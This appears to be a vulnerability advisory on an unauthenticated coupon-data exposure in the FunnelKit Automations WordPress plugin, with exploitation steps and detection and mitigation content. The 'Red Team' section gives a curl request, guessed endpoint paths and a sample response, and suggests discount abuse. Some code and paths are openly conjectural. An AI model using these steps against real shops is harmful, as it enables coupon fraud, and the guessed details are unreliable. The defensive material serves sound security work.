CVE-2025-12468

Executive Summary

CVE-2025-12468 is a Sensitive Information Exposure vulnerability in the FunnelKit Automations WordPress plugin (versions up to and including 3.6.4.1). The vulnerability resides in the /wc-coupons/ REST API endpoint, which is incorrectly registered as a public API endpoint (public_api = true). This misconfiguration causes the endpoint to use permission_callback => '__return_true', effectively bypassing all authentication and capability checks. As a result, unauthenticated attackers can extract sensitive WooCommerce data, including coupon codes, coupon IDs, and expiration status.

This vulnerability is classified under the WordPress ecosystem and is not related to Apache or Nginx misconfigurations. The CVSS score is 5.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, the impact on confidentiality is high for coupon data, which can be leveraged for further attacks such as discount abuse or targeted phishing.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed as a standard WordPress plugin, and the supply chain risk is limited to the plugin's update mechanism. Users should monitor the plugin's official page for patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – Only coupon data is exposed, not full user data.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the vulnerability is easy to exploit and requires no authentication, the exposed data is limited to coupon information. However, this can be used in conjunction with other attacks (e.g., coupon abuse, social engineering).

Deep Dive & Mechanics

The vulnerability is caused by a misconfiguration in the WordPress REST API registration. The plugin registers a custom REST route for /wc-coupons/ with the public_api parameter set to true. In WordPress REST API, when public_api is true, the route is registered with permission_callback => '__return_true', meaning any request (authenticated or not) is allowed.

The vulnerable code is likely in the plugin's main file or a REST API controller. The endpoint returns a JSON response containing WooCommerce coupon data, including:

• Coupon IDs
• Coupon codes
• Expiration status (active/expired)

This data is typically protected by WooCommerce's capability checks, but the plugin overrides this by marking the endpoint as public.

Attack Flow:

1. Attacker identifies a WordPress site running FunnelKit Automations <= 3.6.4.1.
2. Attacker sends a GET request to /wp-json/funnelkit-automations/v1/wc-coupons/ (or similar endpoint).
3. The server returns a JSON array of coupon objects without any authentication.
4. Attacker extracts coupon codes and expiration status for further abuse.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the plugin's REST API registration. A typical vulnerable registration might look like:

// Vulnerable code (conceptual)
register_rest_route( 'funnelkit-automations/v1', '/wc-coupons/', array(
    'methods' => 'GET',
    'callback' => 'get_coupons_callback',
    'permission_callback' => '__return_true', // This is the issue
    'public_api' => true,
) );

A patched version would require proper permission checks:

// Patched code (conceptual)
register_rest_route( 'funnelkit-automations/v1', '/wc-coupons/', array(
    'methods' => 'GET',
    'callback' => 'get_coupons_callback',
    'permission_callback' => function() {
        return current_user_can( 'manage_woocommerce' ); // Or similar capability
    },
    'public_api' => false,
) );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with FunnelKit Automations <= 3.6.4.1 installed and active.
• WooCommerce plugin installed and active.
• At least one coupon created in WooCommerce.

Exploitation Steps:

1. Identify the endpoint: The exact endpoint may vary. Common patterns include:

   • /wp-json/funnelkit-automations/v1/wc-coupons/
   • /wp-json/funnelkit-automations/v1/coupons/
   • /wp-json/funnelkit/v1/wc-coupons/

2. Send an unauthenticated GET request:

curl -X GET "https://target.com/wp-json/funnelkit-automations/v1/wc-coupons/" -H "User-Agent: Mozilla/5.0"

3. Parse the response: The response will be a JSON array containing coupon objects. Example:

[
  {
    "id": 123,
    "code": "SAVE20",
    "expiration_status": "active",
    "discount_type": "percent",
    "amount": "20"
  },
  {
    "id": 124,
    "code": "FREESHIP",
    "expiration_status": "expired",
    "discount_type": "fixed_cart",
    "amount": "0"
  }
]

4. Abuse the data: Use the coupon codes for unauthorized discounts or social engineering attacks.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor REST API access logs: Look for requests to /wp-json/funnelkit-automations/v1/wc-coupons/ from unauthenticated IPs.
2. Check for unusual coupon usage: Monitor WooCommerce coupon usage for patterns that suggest abuse (e.g., multiple uses of the same coupon by different users).
3. Review plugin settings: Ensure the plugin is updated to the latest version. If no patch is available, consider disabling the plugin temporarily.

Mitigation Steps:

1. Immediate: Disable the FunnelKit Automations plugin until a patch is released.
2. Workaround: Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint from unauthenticated users.
3. Long-term: Monitor the plugin's official page for updates and apply patches as soon as they are available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/funnelkit-automations/v1/wc-coupons/ (or similar) from unauthenticated sources.
  • User-Agent strings that are not typical for legitimate users (e.g., curl, python-requests).

• File IOCs:

  • Presence of the plugin file funnelkit-automations/funnelkit-automations.php with version <= 3.6.4.1.

• Log IOCs:

  • WordPress REST API logs showing requests to the vulnerable endpoint without authentication cookies or tokens.

Detection Engineering

YARA Rule

rule CVE_2025_12468_FunnelKit_Coupon_Exposure {
    meta:
        description = "Detects FunnelKit Automations plugin files vulnerable to CVE-2025-12468"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12468"
        hash = "unknown"
    strings:
        $public_api = "public_api" nocase
        $permission_callback = "__return_true" nocase
        $wc_coupons = "wc-coupons" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12468 - FunnelKit Automations Coupon Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to the FunnelKit Automations wc-coupons REST API endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12468
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/wp-json/funnelkit-automations/v1/wc-coupons/"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin usage (if authentication is bypassed by other means)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12468 - FunnelKit Automations Coupon Exposure"; flow:to_server; content:"/wp-json/funnelkit-automations/v1/wc-coupons/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Block the vulnerable endpoint using a WAF or server-level rule (e.g., .htaccess for Apache):

   RewriteEngine On
   RewriteCond %{REQUEST_URI} ^/wp-json/funnelkit-automations/v1/wc-coupons/ [NC]
   RewriteRule .* - [F,L]
   

3. Monitor logs for any unauthorized access attempts.

Long-term Actions:

1. Apply the official patch once released by FunnelKit.
2. Update the plugin to the latest version.
3. Review all REST API endpoints in the plugin for similar misconfigurations.

Workaround (if plugin must remain active):

• Use a custom function to add authentication checks to the endpoint via WordPress filters:

  add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
      if ( strpos( $request->get_route(), 'funnelkit-automations/v1/wc-coupons' ) !== false ) {
          if ( ! current_user_can( 'manage_woocommerce' ) ) {
              return new WP_Error( 'rest_forbidden', 'Access denied', array( 'status' => 403 ) );
          }
      }
      return $result;
  }, 10, 3 );
  

Valters IT
DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-12468